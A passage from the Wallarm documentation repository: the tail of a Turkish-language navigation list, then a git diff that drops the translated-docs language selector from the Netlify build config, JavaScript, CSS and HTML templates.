installation/custom/custom-nginx-version.md - - Bant dışı (trafik aynası): - - Genel Bakış: installation/oob/overview.md - - TCP Trafik Yansıtma Analizi: installation/oob/tcp-traffic-mirror/deployment.md - - Çok kiracılı: - - Çok Kiracılılığa Genel Bakış: installation/multi-tenant/overview.md - - Wallarm Konsolunda Kiracı Hesapları Oluşturma: installation/multi-tenant/configure-accounts.md - - Çok Kiracılı Düğümü Dağıtma ve Yapılandırma: installation/multi-tenant/deploy-multi-tenant-node.md - - Özel dağıtım: - - Özel Dağıtım Talep Et: installation/custom/request-custom-deployment.md - - Bakım: - - Genel Bakış: maintenance/overview.md - - - Düğümler ve Altyapı: - - Düğüm Genel Bakışı: user-guides/nodes/nodes.md - - Kaynak Tahsisi: admin-en/configuration-guides/allocate-resources-for-node.md - - Bulut Senkronizasyonu: admin-en/configure-cloud-node-synchronization-en.md - - Proxy Yapılandırması: admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md - - Engelleme Sayfası Yapılandırması: admin-en/configuration-guides/configure-block-page-and-code.md - - Geçersiz Başlıkların İşlenmesi: admin-en/configuration-guides/handling-invalid-headers.md - - JA3 Parmak İzi: admin-en/enabling-ja3.md - - Terraform Sağlayıcı: admin-en/managing/terraform-provider.md - - - İzleme ve Metrikler: - - NGINX Düğüm Metrikleri: - - Genel Bakış: admin-en/nginx-node-metrics.md - - Postanalitik Metrikleri: admin-en/wstore-metrics.md - - wcli Kontrolör Metrikleri: admin-en/wcli-metrics.md - - API Güvenlik Duvarı Metrikleri: admin-en/apifw-metrics.md - - Yerel Düğüm Metrikleri: - - Genel Bakış: admin-en/native-node-metrics.md - - İstatistik Hizmeti: admin-en/configure-statistics-service.md - - Düğüm Günlüğü: admin-en/configure-logging.md - - Yük Devretme Yapılandırması: admin-en/configure-backup-en.md - - Sağlık Kontrolü: admin-en/uat-checklist-en.md - - - Yükseltmeler ve Geçiş: - - Sürümleme Politikası: updating-migrating/versioning-policy.md - - Genel Öneriler: updating-migrating/general-recommendations.md - - Yenilikler: updating-migrating/what-is-new.md - - NGINX Düğüm Değişiklik Günlüğü: updating-migrating/node-artifact-versions.md - - Yerel Düğüm Değişiklik Günlüğü: updating-migrating/native-node/node-artifact-versions.md - - NGINX Düğüm Yükseltme Talimatları: - - DEB/RPM Paketleri: updating-migrating/nginx-modules.md - - Postanalitik Modülü: updating-migrating/separate-postanalytics.md - - Hepsi Bir Arada Yükleyici: updating-migrating/all-in-one.md - - Docker İmajı: updating-migrating/docker-container.md - - Ingress Denetleyicisi: updating-migrating/ingress-controller.md - - Ingress Denetleyicisi Kullanımdan Kaldırma: updating-migrating/nginx-ingress-retirement.md - - Sidecar Proxy: updating-migrating/sidecar-proxy.md - - Bulut İmajı: updating-migrating/cloud-image.md - - Çok Kiracılı Düğüm: updating-migrating/multi-tenant.md - - Yerel Düğüm Yükseltme Talimatları: - - Hepsi Bir Arada Yükleyici: updating-migrating/native-node/all-in-one.md - - Helm Chart: updating-migrating/native-node/helm-chart.md - - Docker İmajı: updating-migrating/native-node/docker-image.md - - Bağlayıcının Kod Paketi Sürüm Notları: installation/connectors/code-bundle-inventory.md - - EOL Düğüm Yükseltmeleri (3.6 ve altı): - - Yenilikler: updating-migrating/older-versions/what-is-new.md - - NGINX Modülleri: updating-migrating/older-versions/nginx-modules.md - - Postanalitik: updating-migrating/older-versions/separate-postanalytics.md - - Docker İmajı: updating-migrating/older-versions/docker-container.md - - Ingress Denetleyicisi: updating-migrating/older-versions/ingress-controller.md - - Bulut İmajı: updating-migrating/older-versions/cloud-image.md - - Çok Kiracılı: updating-migrating/older-versions/multi-tenant.md - - IP Listelerini Geçir: updating-migrating/migrate-ip-lists-to-node-3.md - - - İşlemler: - - İstek Hacmini Öğrenme: admin-en/operation/learn-incoming-request-number.md - - Tarayıcı IP Adresleri: admin-en/scanner-addresses.md - - - Sorun Giderme: - - Genel Bakış: troubleshooting/overview.md - - Tespit ve Engelleme: troubleshooting/detection-and-blocking.md - - Tespit Araçları: troubleshooting/detection-tools-tuning.md - - Performans: troubleshooting/performance.md - - Gerçek İstemci IP: admin-en/using-proxy-or-balancer-en.md - - Son Kullanıcı Sorunları: faq/common-errors-after-installation.md - - Wallarm Ingress Denetleyicisi: faq/ingress-installation.md - - Wallarm Bulut Çökme: faq/wallarm-cloud-down.md - - OWASP Pano Uyarıları: faq/node-issues-on-owasp-dashboards.md - - NGINX Hata Günlüğü: troubleshooting/wallarm-issues-in-nginx-error-log.md - - NGINX'te Dinamik DNS: admin-en/configure-dynamic-dns-resolution-nginx.md - - - Entegrasyonlar: - - Genel Bakış: user-guides/settings/integrations/integrations-intro.md - - Mesajlaşma ve uyarılar: - - E-posta: user-guides/settings/integrations/email.md - - Slack: user-guides/settings/integrations/slack.md - - Microsoft Teams: user-guides/settings/integrations/microsoft-teams.md - - Telegram: user-guides/settings/integrations/telegram.md - - Olay yönetimi: - - PagerDuty: user-guides/settings/integrations/pagerduty.md - - Opsgenie: user-guides/settings/integrations/opsgenie.md - - Jira: user-guides/settings/integrations/jira.md - - ServiceNow: user-guides/settings/integrations/servicenow.md - - InsightConnect: user-guides/settings/integrations/insightconnect.md - - SIEM ve analitik: - - Splunk: user-guides/settings/integrations/splunk.md - - Sumo Logic: user-guides/settings/integrations/sumologic.md - - Microsoft Sentinel: user-guides/settings/integrations/azure-sentinel.md - - Datadog: user-guides/settings/integrations/datadog.md - - Günlük toplayıcıları: - - Fluentd: user-guides/settings/integrations/fluentd.md - - Logstash: user-guides/settings/integrations/logstash.md - - Integration Examples: - - Fluentd ile IBM QRadar: user-guides/settings/integrations/webhook-examples/fluentd-qradar.md - - Logstash ile IBM QRadar: user-guides/settings/integrations/webhook-examples/logstash-qradar.md - - Fluentd ile Splunk Enterprise: user-guides/settings/integrations/webhook-examples/fluentd-splunk.md - - Logstash ile Splunk Enterprise: user-guides/settings/integrations/webhook-examples/logstash-splunk.md - - Fluentd ile Micro Focus ArcSight Logger: user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md - - Logstash ile Micro Focus ArcSight Logger: user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md - - Fluentd/Logstash ile Datadog: user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md - - Bulut depolama: - - Amazon S3: user-guides/settings/integrations/amazon-s3.md - - MinIO: user-guides/settings/integrations/minio.md - - Webhook: - - Webhook: user-guides/settings/integrations/webhook.md - - DevSecOps: - - Docker İmaj İmzalarını Doğrulama: integrations-devsecops/verify-docker-image-signature.md - - Wallarm Docker İmajları için SBOM Oluşturma: integrations-devsecops/generate-sbom-for-docker-images.md - - Platform yönetimi: - - Panolar: - - Tehdit Önleme: user-guides/dashboards/threat-prevention.md - - API Keşfi: user-guides/dashboards/api-discovery.md - - OWASP API 2023: user-guides/dashboards/owasp-api-top-ten.md - - İzleme ve olaylar: - - Genel Bakış: user-guides/events/overview.md - - Saldırı Analizi: user-guides/events/check-attack.md - - Olay Analizi: user-guides/events/check-incident.md - - Gruplama ve Örnekleme: user-guides/events/grouping-sampling.md - - Zafiyetleri Yönetme: user-guides/vulnerabilities.md - - Tetikleyiciler ve uyarılar: - - Tetikleyiciler: user-guides/triggers/triggers.md - - Arama ve raporlar: - - Arama ve Filtreler: user-guides/search-and-filters/use-search.md - - Raporlar: user-guides/search-and-filters/custom-report.md - - Hesap ayarları: - - Kullanıcı Profili: user-guides/settings/account.md - - Verileri ve Ayarları Uygulamalara Göre Ayırma: user-guides/settings/applications.md - - Etkinlik Günlüğü: user-guides/settings/audit-log.md - - Kullanıcılar ve erişim: - - Genel Bakış: user-guides/settings/users.md - - API Jetonları: user-guides/settings/api-tokens.md - - SSO Configuration: - - Genel Bakış: admin-en/configuration-guides/sso/intro.md - - Kurulum: admin-en/configuration-guides/sso/setup.md - - G Suite Örneği: admin-en/configuration-guides/sso/sso-gsuite.md - - Okta Örneği: admin-en/configuration-guides/sso/sso-okta.md - - Sorun Giderme: admin-en/configuration-guides/sso/troubleshooting.md - - LDAP Kullanımı: admin-en/configuration-guides/ldap/ldap.md - - Planlar ve fiyatlandırma: - - Abonelik Planları: about-wallarm/subscription-plans.md - - Reference: - - API referansı: - - Genel Bakış: api/overview.md - - API İstek Örnekleri: api/request-examples.md - - Saldırı / Zafiyet Türleri: attacks-vulns-list.md - - Sözlük: glossary-en.md - - İşlem referansı: - - Wallarm Terraform Sağlayıcısı: admin-en/managing/terraform-provider.md - - Bir Uygulamanın Aylık İstek Hacmini Öğrenme: admin-en/operation/learn-incoming-request-number.md - - Wallarm Sağlık Kontrolü: admin-en/uat-checklist-en.md - - Zafiyet Taraması IP'leri: admin-en/scanner-addresses.md - - Veri Saklama Politikası: about-wallarm/data-retention-policy.md - - Müşteri Verileri için Paylaşılan Sorumluluk Modeli: about-wallarm/shared-responsibility.md - - Comparing Wallarm to Other Solutions: reference/comparing-wallarm-to-other-solutions.md - - Wallarm'ın SLA'si: sla.md diff --git a/netlify.toml b/netlify.toml index 55fd21d77a..304e3ec0b7 100644 --- a/netlify.toml +++ b/netlify.toml @@ -31,11 +31,7 @@ fi && cp -R images/ docs/6.x/images/ && zensical build -f mkdocs-6.x.yml && if [ "$CONTEXT" = "production" ]; then python3 scripts/generate_raw_markdown.py mkdocs-6.x.yml; fi && rm -rf docs/6.x/images/ && cp -R images/ docs/7.x/images/ && zensical build -f mkdocs-7.x.yml && if [ "$CONTEXT" = "production" ]; then python3 scripts/generate_raw_markdown.py mkdocs-7.x.yml; fi && rm -rf docs/7.x/images/ && cp -R images/ docs/5.0/images/ && zensical build -f mkdocs-5.0.yml && if [ "$CONTEXT" = "production" ]; then python3 scripts/generate_raw_markdown.py mkdocs-5.0.yml; fi && rm -rf docs/5.0/images/ && -cp -R images/ docs/deprecated/images/ && zensical build -f mkdocs-deprecated.yml && rm -rf docs/deprecated/images/ && -cp -R images/ docs/ja/images/ && zensical build -f mkdocs-ja-6.x.yml && rm -rf docs/ja/images/ && -cp -R images/ docs/tr/images/ && zensical build -f mkdocs-tr-6.x.yml && rm -rf docs/tr/images/ && -cp -R images/ docs/pt-BR/images/ && zensical build -f mkdocs-pt-BR-4.8.yml && rm -rf docs/pt-BR/images/ && -cp -R images/ docs/ar/images/ && zensical build -f mkdocs-ar-4.10.yml && rm -rf docs/ar/images/ +cp -R images/ docs/deprecated/images/ && zensical build -f mkdocs-deprecated.yml && rm -rf docs/deprecated/images/ """ [[headers]] for = "/*" diff --git a/stylesheets/extra.js b/stylesheets/extra.js index 220c9699a6..5914f97874 100644 --- a/stylesheets/extra.js +++ b/stylesheets/extra.js @@ -141,7 +141,7 @@ window.addEventListener('DOMContentLoaded', function() { document.addEventListener('DOMContentLoaded', function() { let main = document.querySelector(".md-main"); - let isHomepage = location.pathname === "/" || location.pathname === "/ja/" || location.pathname === "/4.4/" || location.pathname === "/4.2/" || location.pathname === "/4.6/" || location.pathname === "/4.8/" | location.pathname === "/4.10/" || location.pathname === "/5.x/" || location.pathname === "/7.x/" || location.pathname === "/tr/" || location.pathname === "/pt-br/" || location.pathname === "/ar/" || location.pathname === "/index.html"; + let isHomepage = location.pathname === "/" || location.pathname === "/4.4/" || location.pathname === "/4.2/" || location.pathname === "/4.6/" || location.pathname === "/4.8/" || location.pathname === "/4.10/" || location.pathname === "/5.x/" || location.pathname === "/7.x/" || location.pathname === "/index.html"; if (main) { if (isHomepage) { main.classList.add('homepage'); @@ -249,15 +249,9 @@ function goToVersion (event, currentVersion, version) { } document.addEventListener('DOMContentLoaded', (event) => { - /* Show/hide version selector by language */ - var pathsLang = window.location.pathname.split('/'); var versionsDiv = document.getElementById('versionsDiv'); if (versionsDiv) { - if (pathsLang[1] === 'tr' || pathsLang[1] === 'pt-br' || pathsLang[1] === 'ja' || pathsLang[1] === 'ar') { - versionsDiv.style.display = 'none'; - } else { - versionsDiv.style.display = 'inline-block'; - } + versionsDiv.style.display = 'inline-block'; } /* Version selector: delegation + touch so it works on mobile; list opens upward on small screens */ @@ -602,110 +596,3 @@ document.querySelector('.md-nav--primary').addEventListener('click', () => { // Reset the "Deployment options" opened states localStorage.removeItem('do'); }); - - -// Show the list of languages - -var rootLanguage = 'en'; - -const supportedLanguages = new Set(['ar', 'ja', 'tr', 'pt-br']); -const versionSegments = new Set([ - '7.x', - '5.x', - '4.10', - '3.6', - '2.18' -]); - -function getCurrentLanguage() { - const button = document.getElementById('languagesMain'); - if (button && button.dataset && button.dataset.currentLanguage) { - return button.dataset.currentLanguage; - } - return rootLanguage; -} - -function stripVersionFromPath(pathname) { - let cleaned = pathname; - - versionSegments.forEach((seg) => { - const matcher = new RegExp(`/${seg}(/|$)`); - cleaned = cleaned.replace(matcher, '/'); - }); - - cleaned = cleaned.replace(/\/{2,}/g, '/'); - return cleaned; -} - -function languageClicked (event) { - if (document.getElementById('languagesList').style.display === 'none') { - document.getElementById('languagesList').style.display = 'block' - document.getElementById('languagesMain').classList.add("languages-main-active") - } else { - document.getElementById('languagesList').style.display = 'none' - document.getElementById('languagesMain').classList.remove("languages-main-active") - } -} - -document.addEventListener('click', (event) => { - const languagesDiv = document.getElementById('languagesDiv'); - const languagesList = document.getElementById('languagesList'); - const languagesMain = document.getElementById('languagesMain'); - - if (!languagesDiv || !languagesList || !languagesMain) return; - if (languagesDiv.contains(event.target)) return; - if (languagesList.style.display !== 'block') return; - - languagesList.style.display = 'none'; - languagesMain.classList.remove("languages-main-active"); -}); - -document.addEventListener('DOMContentLoaded', () => { - const { pathname } = window.location; - const hadTrailingSlash = pathname.endsWith('/'); - const segments = pathname.split('/').filter(Boolean); - - if (segments.length < 2) return; - if (!supportedLanguages.has(segments[0])) return; - if (!versionSegments.has(segments[1])) return; - - const newSegments = [segments[0], ...segments.slice(2)]; - let newPath = '/' + newSegments.join('/'); - if (hadTrailingSlash && newPath !== '/') { - newPath += '/'; - } - - if (newPath !== pathname) { - window.location.replace(newPath); - } -}); - -// Open the docs for selected language and change value in the selector -function goToLanguage (event, language) { - event.preventDefault() - const currentLanguage = getCurrentLanguage(); - - if (currentLanguage === language) { - window.location.reload(false); - } - else { - const cleanedPath = stripVersionFromPath(window.location.pathname); - let tmp = cleanedPath.split('/'); - window.top.location.href = tmp.join('/'); - if (language === rootLanguage) { - window.top.location.href = cleanedPath.replace('/'+currentLanguage+'/','/'); - } else { - if (currentLanguage === rootLanguage) { - if (tmp[1].startsWith('docs')) { - window.top.location.href = cleanedPath.replace('/'+'docs'+'/','/'+'docs'+'/'+language+'/'); - } - else { - window.top.location.href = cleanedPath.replace('/','/'+language+'/'); - } - } - else { - window.top.location.href = cleanedPath.replace('/'+currentLanguage+'/','/'+language+'/') - } - } - } -} diff --git a/stylesheets/extra_new.css b/stylesheets/extra_new.css index 906efd158f..41bf9a0771 100644 --- a/stylesheets/extra_new.css +++ b/stylesheets/extra_new.css @@ -1004,7 +1004,7 @@ img { grid-template-rows: 65px 40px; grid-template-areas: "toggle logo title back search" - "buttons buttons buttons buttons lang"; + "buttons buttons buttons buttons buttons"; grid-template-columns: 44px 138px auto 60px 44px; } label[for="__search"] { @@ -1045,17 +1045,6 @@ img { display: block; grid-area: toggle; } - .languages { - position: relative; - grid-area: lang; - padding-left: 6px; - } - .languages .languages-list, .languages .languages-main { - width: 100%; - } - .languages { - margin: 0; - } .md-header__button.md-logo { grid-area: logo; } @@ -1189,7 +1178,7 @@ img { min-width: 0; } - .header-buttons, .languages { + .header-buttons { flex: 0 0 auto; } } @@ -1687,86 +1676,6 @@ html .md-footer .md-social a:hover { background-color: var(--color-primary-200); } -/* Language selector */ - -.languages { - position: relative; - display: inline-block; -} - -.languages-main { - height: 36px; - border-style: solid; - background-color: transparent; - border-color: rgba(255, 255, 255, 0.3); - border-radius: 4px; - border-width: 1px; - font-size: 14px; - cursor: pointer; - min-width: 36px; - display: inline-flex; - align-items: center; - justify-content: center; - gap: 6px; - padding: 0 8px; - color: #FFFFFF; - transition: all 0.2s ease; -} - -.languages-list { - top: 45px; - background-color: #FFFF; - box-shadow: 0px 1px 8px rgba(149, 157, 172, 0.4); - border-radius: 4px; - position: absolute; - right: 0; - padding: 8px 0px; - min-width: 131px; - z-index: 1; - line-height: 1.8rem; -} - -[dir="rtl"] .languages-list { - right: auto; - left: 0; -} - -.languages-main:focus { - outline:0; -} - -.languages-list:focus { - outline:0; -} - -.languages-list a { - display: block; - padding: 0px 12px; - transition: all 0.3s ease; - color: hsla(0, 0%, 0%, 1); - font-size: 14px -} - -.languages-list a:hover { - background-color: #F7F7F8; -} - -.languages-main:hover { - background-color: rgba(255, 255, 255, 0.1); - border-color: rgba(255, 255, 255, 0.5); -} - -.languages-main-active { - background-color: rgba(255, 255, 255, 0.08); - border-color: rgba(255, 255, 255, 0.5); -} - - -.languages-icon { - display: inline-block; -} - - /* Table of contents */ @media screen and (min-width: 60em) { diff --git a/stylesheets/main.html b/stylesheets/main.html index 98953c5573..8152da3e08 100644 --- a/stylesheets/main.html +++ b/stylesheets/main.html @@ -56,7 +56,7 @@ {% endblock %} {% block announce %} - {% if not config.extra.is_latest and (config.extra.language_lowercase | default("en")) == "en" %} + {% if not config.extra.is_latest %} {% if config.extra.version == "4.10" %} You are viewing docs for an unsupported Node version. View latest documentation @@ -75,7 +75,7 @@ {{ super() }} - {% if config.extra.is_latest or (config.extra.language_lowercase | default("en")) != "en" %} + {% if config.extra.is_latest %} {% elif config.extra.version == "4.10" or config.extra.version %} @@ -112,10 +112,6 @@ {% set current_page = page.url %} - - - - {# Raw-Markdown companion URL for AI agents / LLM crawlers. Only emitted on English builds (raw_md flag is set in mkdocs-{6.x,7.x,5.0}.yml). diff --git a/stylesheets/partials/header.html b/stylesheets/partials/header.html index 0bfae9c8a0..2bf70664ac 100644 --- a/stylesheets/partials/header.html +++ b/stylesheets/partials/header.html @@ -67,24 +67,6 @@ {{ config.extra.try_button_name }}
            - -
            - - -